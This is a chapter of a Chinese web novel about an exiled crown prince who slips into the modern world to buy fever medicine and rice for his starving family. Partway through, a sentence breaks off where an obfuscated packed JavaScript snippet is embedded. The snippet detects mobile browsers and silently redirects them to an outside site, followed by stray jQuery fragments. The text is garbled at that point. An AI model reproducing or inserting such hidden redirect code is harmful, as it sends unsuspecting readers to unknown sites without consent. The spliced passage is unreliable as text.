君秋澜警惕退后,转过头,却是看见了一个道士打扮的老头。
气质中确实有那么几分仙风道骨的模样,就是稍微有些不修边幅了,左手拿着一把滋滋冒油的肉串,右手拿着一杯冒着寒气的饮子。
害得君秋澜原本就没填饱的肚子又叽咕了两声。
“别紧张,老头我不是坏人。”老道长自顾自地说道:“我就是旁边那座山上清风观的道士,你找个本地人打听一下清珩道长,都知道是我,早几十年前,老头见过跟你差不多的人。”
君秋澜心底还是警惕,但这清珩道长似是而非的几句话,却让他像是抓到了救命稻草一般。
他只问了一句,“如何能回去?”
清珩悠哉悠哉,撸着肉串又转身走了,只含含糊糊留下一句话,“念你来处,想你去路。”
君秋澜嘴里咀嚼着这句话,却也不通其意,有心想追上去,结果没想到那胡子花白的老道长身姿居然这么矫健,没一会儿就窜入了人群,又买了个大鸡腿儿在啃。
旁边还有几个年轻小姑娘围着他,手里都拿着一个小方块,对着那清珩道长比比划划。
君秋澜不敢贸然追过去,正好注意到几个穿着蓝色制式服装的壮年男子多看了他几眼,随后朝他走来,他直觉不妙,又赶紧融入了身后黑暗的小巷。
嘴里还念叨着清珩道长说的那句话。
念你来处,想你去路。
他想到还在牛棚中受苦的父母和小妹,心底一阵酸楚,若是找不到回去的路,他们要怎么办?
这念头刚落下心头,他突然一个趔趄,身姿一晃,再抬眸便和牛棚中的牛大哥脸贴脸。
牛:“哞~”
“兄长。”君舒婉急切地扶住他。
君秋澜也只晃了一下,看到熟悉的地方,心落在了实处。
他回来了。
君舒婉眼底满是焦急,眼眶子也泛红,“兄长,你为何会突然消失,现在又突然出现?你到底去哪儿了,我和爹爹都要急死了。”
君秋澜摸了摸小妹的头,几月前,还是花团锦簇的少女,如今头发枯黄,瘦弱得一阵风都能吹倒。
“我也不知,像是经历了一场光怪陆离的梦。”
若不是手中的盒饭还是温热的,手里的纸币还带着他掌心的汗水,他定要觉得那就是一场梦了。
牛棚角落里的君郁也扶着墙站了起来,“澜儿,究竟发生了何事?你不是去给你母亲采药去了吗?”
君秋澜赶紧过去扶着父亲坐下,“此事说来话长。”
半个多时辰之前,君秋澜的母亲宋熙容,又再次发起了高热,都在说胡话了,再得不到治疗,恐怕是撑不下去了。
可他们一路流放过来,身无分文,哪里请得起大夫?
刚好君郁这个闲散宗室,因为亲儿子被过继给了皇帝,一辈子都只能做个无权无势的郡王,正因为如此,他日子清闲,便博览群书,知道几味药材能退热。
但君郁在流放的路上,伤了一条腿,连站立都成了难事,君舒婉又是刚及笄的姑娘,如何放心她出去采药?
这采药的重担,自然是落在了君秋澜的身上。
君秋澜完全记不得自己是如何去到了另一个世界,心中只想着要如何救自己的母亲,随后又是恍恍惚惚地拍了一场戏。
面对那个陌生的世界,他整个人都是迷茫的。
但是在君郁和君舒婉的视角,就是君秋澜在走出牛棚的瞬间,身姿一晃,然后就消失得无影无踪。
他们也急切,可完全不敢声张,只在这附近偷偷寻了寻。
事情太过于离奇,父女俩找不到人,再着急也没办法,只能商量着,等天亮了再说。
这一等,又是半个时辰,君秋澜又这么突然出现了。
君秋澜脑子也乱得很,“我应当是得了什么机缘,去了一个光怪陆离的世界。”
他尽量用最简单直白的言语去形容他所有的见闻,可君郁和君舒婉还是听得云里雾里的,甚至怀疑君秋澜是不是撞邪了。
“哦,对了,这是那个剧组发的盒饭。”君秋澜也不多说了,他长时间没吃过一顿饱饭,他的家人也是一样的。
他把盒饭打开,“父亲,小妹,你们先吃饭吧,那个世界的事情,此后再细说。”
两份温热的餐食落在父女俩的手心,才算有一种如梦初醒的感觉,也顾不得形象,端起盒饭就大快朵颐。
还剩下一份,君秋澜看着昏迷不醒的母亲,他想试试还能不能再去一次那个世界。
那一条绚丽斑斓的街上,他恍惚看见过药房这样的字眼。
他手里还有一百五十圆钱,虽然不知道够不够买药,但上天既然给了他这个机缘,他还是想去试一试。
君秋澜用袖子擦了擦母亲额角的汗珠,心底酸胀得厉害。
母亲十月怀胎生下他,不离手心地哺育了他一年,刚断奶,皇帝便下诏,从皇室宗亲里选了六个孩子进宫。
父母就算是不舍,但圣旨下了,他们也无力反抗。
原因是皇帝在夺嫡之争时,曾被其他皇子暗害,终生都不可能拥有他自己的孩子。
宫里的御医,民间的杏林高手,开过无数的药方,依旧无法改变这个事实。
帝王无后,这可是国家大事了,大臣们便提议从皇室宗亲里过继血脉。
即便是至高无上的帝王,在那一刻也别无选择,皇位不可没有继承人。
于是,君秋澜和另外五个孩子都被送进了宫,最小的刚满月,最大的也不过三岁,他们就这样摇身一变,从宗室子,变成了皇子,共同养育在宫中。
皇权争夺,历来都是残酷的,而所有人都心知肚明,未来的太子,会在他们六个人之中诞生。
不论是朝中的大臣,还是这几个兄弟的父母,都有一些自己的想法,并且暗中也有一些行动。
只有他父亲醉心于各种书籍,母亲又是商户女,夫妻二人除了每年托人给他稍几样玩物或者衣裳之外,再没有别的行为。
就在他八岁那年,其他几个兄弟的亲生父母,各种暗中搞事情,都是为了给自己的儿子造势。
皇帝也终于是忍无可忍,以雷霆万钧的手段,处置了这些宗亲,轻则终生幽禁,重则贬为庶人,那几个兄弟也都被遣送回了父母身边,失去了皇子的身份。
也正好,他的课业一直都是六个兄弟里拔尖的,太子之位就落在了他的身上。
这一切的转折,便是三年前,一位神医的出现,皇帝的后妃陆陆续续有了身孕,接二连三生下几个小皇子小公主。
而他这个被过继来的儿子,就成了最尴尬的存在。
君秋澜并不贪恋权势,他也曾跟那位他叫了十几年父皇的人提过,他可以不做这个太子。
但皇帝必然不这么想,谁不想要这至高无上的权利呢?恐怕还以为他想以退为进。
他早就是漩涡中心的人了,哪里能轻易逃得过后妃与前朝的算计?
一招不慎,落得如今的下场,只是连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560037|171371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
累了父母亲人。
他不信这其中没有他那位父皇的手笔,想让亲儿子继位,无可厚非,可为什么要给他安上造反的罪名,一家四口流放三千里,就连外祖父的商行也被抄家,全族遣回原籍。
若非不是他曾经在朝中也有了几分势力,从中斡旋,外祖父一家也难逃流放的命运。
如今一想,他们一家还不如当年就被贬为庶人,至少逃脱了流放的命运,便是过普通人老百姓的生活,也好过现在这般凄惨。
君秋澜捏紧了手里的钱币,“爹,小妹,照顾好娘亲,我要再去那边一次。”
他也不等父亲和小妹的回应,直接回想老道士说的话,以及他见过的那个世界。
再一睁眼,他又出现在了他消失的暗巷之中。
君秋澜这次没有草率走出去,他记得他从剧组逃离的时候,路过了一个院子,院子外面放了个应当是为了防火的水缸。
他快速摸过去,尽可能地把脸和手臂洗干净,随后又整理了一下自己的衣裳,尽量让自己看起来体面一些。
做好这一切,他才回到了那条光怪陆离的街道上。
手心里的钱,已经被汗水晕湿了。
他找到药房的店铺,踟蹰不前,铺子并不大,但铺子里居然摆满了透明的琉璃柜,柜子里放着一些小盒子,也不知道是什么,里面就坐了一个穿着白衣服的人,手里捏着一个发光的黑色方块,时不时发出几声傻笑。
正巧有两个小姑娘进去了,他便跟在他们后面。
“医生,给我们来一盒感冒灵,这天气忽冷忽热的,过来旅游还感冒了。”其中一个小姑娘瓮声瓮气地说道。
白衣的男子头都没抬,从半透明琉璃柜里拿出一个绿色的小盒子,“十五块钱。”
小姑娘拿出两张灰绿色的纸币,“现金可以吧?”
老板点点头,找了一张紫色的纸币。
君秋澜心中更是惊骇,原来琉璃柜里的那些盒子都是药?
恰逢白衣男子发现了他,“小兄弟也买药吗?”
君秋澜心底紧张,刚才小姑娘买的什么感冒灵,只要十五元,他这里有一百五,兴许是够了。
他小心道:“我要买退热的药,还有风寒的药。”
白衣男子又从柜子里拿出一盒跟刚才一模一样的绿色药盒,另外又拿了一个扁平的盒子,“一共四十三。”
君秋澜一下松快了,手里的钱够买药,但他哪里见过这种药,药可不能乱吃。
他又壮起胆子问:“这药怎么吃?”
梁峰理所当然地认为他是在问一天吃几次,便讲解了一下,“感冒灵一天三次,一次一包,布洛芬一天两次,一次一颗。”
君秋澜又松了口气,付了钱,捏着几块钱的找零,提着袋子转身,恰逢又在柜台旁边看见立着的一块牌子。
还没来得及读懂上面缺胳膊少腿的文字,梁峰又开口了,“充值五百送一包大米,充值一千送食用油一桶,小兄弟充吗?”
君秋澜听都听不懂这是什么意思,就只摇了摇头,随后又看了看摆在旁边那晶莹剔透的大米。
如今他们刚到边城,虽然皇帝为表仁善,只流放他们,无招不能离开边城,并没有让他们充军服傜役,但此后的生活要如何过下去,就得靠他们自己了。
他手里还剩一百零七圆,如果可以的话,他想带一些物资回去,他毕竟不是此间的人,如果多次往返,还不知会遇见什么样的危险。
他问:“这米卖吗?”